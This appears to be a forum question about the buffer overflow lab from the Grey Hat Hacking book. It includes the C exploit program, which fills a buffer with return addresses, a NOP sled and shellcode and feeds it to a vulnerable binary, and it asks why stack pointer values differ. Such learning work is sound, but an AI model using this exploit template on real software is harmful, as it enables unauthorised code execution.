I'm following the buffer overflow example in Grey Hat Hacking and have successfully executed shellcode and opened a shell using the exploit program below, however I couldn't run it without first guessing the offset to the buffer, because of the difference in initial ESP values.
This is the exploit program (some lines removed) for any local, vulnerable buffer:
unsigned long get_sp(void){
__asm__("movl %esp, %eax");
}
int main(int argc, char *argv[1]) {
int i, offset = 0;
unsigned int esp, ret, *addr_ptr;
char *buffer, *ptr;
int size = 500;
esp = get_sp();
if(argc > 1) size = atoi(argv[1]);
if(argc > 2) offset = atoi(argv[2]);
if(argc > 3) esp = strtoul(argv[3],NULL,0);
ret = esp - offset;
buffer = (char *)malloc(size);
ptr = buffer;
addr_ptr = (unsigned int *) ptr;
for(i=0; i < size; i+=4){
*(addr_ptr++) = ret;
}
for(i=0; i < size/2; i++){
buffer[i] = '\x90';
}
ptr = buffer + size/2;
for(i=0; i < strlen(shellcode); i++){
*(ptr++) = shellcode[i];
}
buffer[size-1]=0;
execl("./meet", "meet", "Mr.",buffer,0);
free(buffer);
return 0;
}
This exploit relies on the initial ESP of the exploiting program being the same as (or not far off) the ESP of the vulnerable application. However, in my tests I have been unable to replicate this, and the ESP of my exploit is always too far off from the vulnerable applications ESP to allow for reliable return address calculation, even when using an NOP sled. I suppose a workaround to this would be to calculate not only the buffer size and the offset from the vulnerable applications ESP to the buffer, but also the offset between the exploit initial ESP and the vulnerable program initial ESP, but I'm hoping I've just made a mistake instead.
The initial value of the ESP in my exploit at the very start of main() is 0xffffdbc0. However, the ESP at the very start of main() in my buffer program is 0xffffdba8. I used breakpoints in GDB on the very first line of main() in both programs to find the ESP rather than an inline assembly function to avoid pushing anything extra on the stack.
I also supplied both with the same command line arguments (0,0) to narrow down the possible causes. Everything was compilied on x64 Linux, ASLR disabled, no stack protector and execstack disabled in 32-bit.
What else could affect the initial ESP value?
(This question is possibly related, except I seem to be having the opposite problem.)
EDIT: It's occured to me that the names of the programs are different lengths, which I imagine will affect the value of the ESP as the name of the program is passed to the main() function through argv[]. Time to check this in GDB...